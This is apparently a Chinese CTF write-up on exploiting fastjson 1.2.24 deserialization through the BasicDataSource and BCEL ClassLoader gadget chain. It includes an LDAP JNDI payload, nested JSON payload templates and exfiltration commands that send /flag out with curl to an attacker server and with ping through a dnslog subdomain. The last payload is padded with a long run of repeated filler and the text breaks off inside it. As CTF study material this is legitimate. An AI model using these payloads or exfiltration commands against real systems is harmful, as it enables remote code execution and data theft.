{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}

不出网

fastjson1.2.24(BasicDataSource)

这题来源于[省赛]web1 old,考查的是fastjson反序列化,下文将分三个部分进行分析

限制条件

  1. fastjson<=1.2.24

反序列化链

调用链很短,BasicDataSource.getConnection() ->createDataSource()->createConnectionFactory()。最后发现可以加载类,并且类名和类加载器都可控。

//BasicDataSource.java
public Connection getConnection() throws SQLException {
        return this.createDataSource().getConnection();
    }

protected synchronized DataSource createDataSource() throws SQLException {
        if (this.closed) {
            throw new SQLException("Data source is closed");
        } else if (this.dataSource != null) {
            return this.dataSource;
        } else {
            ConnectionFactory driverConnectionFactory = this.createConnectionFactory();
               /*省略*/
        }
    }

protected ConnectionFactory createConnectionFactory() throws SQLException {
        /*省略*/
        if (this.driverClassLoader == null) {
                        Class.forName(this.driverClassName);
                    } else {
                        Class.forName(this.driverClassName, true, this.driverClassLoader);
                    }
        /*省略*/
    }

ClassLoader源码分析

payload中为什么会选择com.sun.org.apache.bcel.internal.util.ClassLoader这个类加载器?分析源码不难发现,这个类加载器非常好用,它可以直接加载payload传递的字节码的BCEL编码,这样的话就有利于我们构造恶意的类进行加载。不需要写入文件,只需要将BCEL编码放在payload中即可。

ClassLoader这个加载器的loadClass方法(仅展示关键代码)如下,看到[1]处,如果要加载的类名class_name是以$$BCEL$$开头的,会直接调用[2]处的函数来进行BCEL解码,然后[3]处将解出来的字节码进行类加载。

//com.sun.org.apache.bcel.internal.util.ClassLoader.java
protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  {
    Class cl = null;
    if((cl=(Class)classes.get(class_name)) == null) {
      if(cl == null) {
        JavaClass clazz = null;
        /*省略....*/
        if(class_name.indexOf("$$BCEL$$") >= 0) //[1]
          clazz = createClass(class_name); //[2]
        /*省略....*/
        if(clazz != null) {
          cl = defineClass(class_name, bytes, 0, bytes.length); //[3]
        } 
      }
    }
    return cl;
  }

protected JavaClass createClass(String class_name) {
    int    index     = class_name.indexOf("$$BCEL$$");
    String real_name = class_name.substring(index + 8);

    JavaClass clazz = null;
    try {
      byte[]      bytes  = Utility.decode(real_name, true); //BCEL解码
      ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

      clazz = parser.parse();
    } catch(Throwable e) {
      e.printStackTrace();
      return null;
    }
    return clazz;
  }

如何触发getConnection

看到了前面的构造的payload,不知道是否有疑问为什么要嵌套多层json,直接一层不行吗?这里就涉及到Json.parse()和Json.parseObject()的区别了,题目中使用的是Json.parse(),所以需要嵌套多层json。

image-20210526224701539

Json.parse()和Json.parseObject()的区别

先贴出后者的源码,可以发现后者是调用了前者的。不同的地方在于,后者会将parse()后的结果转变为调用toJSON转变为JSONObject对象。

public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
    }

如果调用的是后者,则可以不用多层嵌套。原因是在toJSON中,会利用反射调用对象的getter方法,进而就可以调用到getConnection。

{
        "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
        "driverClassLoader": {
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "driverClassName": "$$BCEL$$$l$8b......"
}

具体的调用链如下

//JSON.java
public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
    }

public static Object toJSON(Object javaObject) {
        return toJSON(javaObject, SerializeConfig.globalInstance);
    }


public static Object toJSON(Object javaObject, SerializeConfig config) {
                    Map<String, Object> values = javaBeanSerializer.getFieldValuesMap(javaObject);
    }
//JavaBeanSerializer.java
public Map<String, Object> getFieldValuesMap(Object object) throws Exception {
        Map<String, Object> map = new LinkedHashMap(this.sortedGetters.length);
        FieldSerializer[] var3 = this.sortedGetters;
        int var4 = var3.length;

        for(int var5 = 0; var5 < var4; ++var5) {
            FieldSerializer getter = var3[var5];//反射调用getter
            map.put(getter.fieldInfo.name, getter.getPropertyValue(object));
        }

        return map;
    }

如果是前者,则需要多层嵌套。嵌套后的效果就是在反序列化时,fastjson先对key调用toString,此时[1]处这个{}整体作为key进行toString。而它的类型是com.alibaba.fastjson.JSONObject,是Map的子类,所以toString时会调用getter,进而就调用到了getConnection

{
    {[1]
        "@type": "com.alibaba.fastjson.JSONObject",
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

payload

这里构造payload的时候有些小技巧,比赛最后才差不多做出来,当时执行的是反弹shell命令,结果失败了,然后比赛就结束了。在反弹shell失败的情况下,可以使用curl或者ping进行flag外带。

curl的方法比较常见

curl http://{你的服务器ip}/?flag=`cat /flag|base64`

ping的方法是头一回见到,可以使用免费的dnslog服务器,申请一个三级子域名,然后将flag放在四级子域名中带回来,命令如下。这里的zi7gws就是我申请到的三级子域名。

需要注意的是,域名当中不能包含一些特殊字符,比如flag当中的大括号就是不行的,如果出现这种不合法的字符,就会导致ping命令执行失败,所以这里我将flag进行hex编码后再带出

ping -c 2 `cat /flag | od -An -w1 -tx1|awk '{for(i=1;i<=NF;++i){printf "%s",$i}}'`.zi7gws.dnslog.cn
{
    {
        '@type':"com.alibaba.fastjson.JSONObject",
        'a':
        {
            '@type':"org.apache.tomcat.dbcp.dbcp.BasicDataSource",
            'driverClassLoader':
            {
                '@type':"com.sun.org.apache.bcel.internal.util.ClassLoader"
            },
            'driverClassName':'{恶意类的BCEL编码}',
          "DefaultCatalog":"wocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwocwo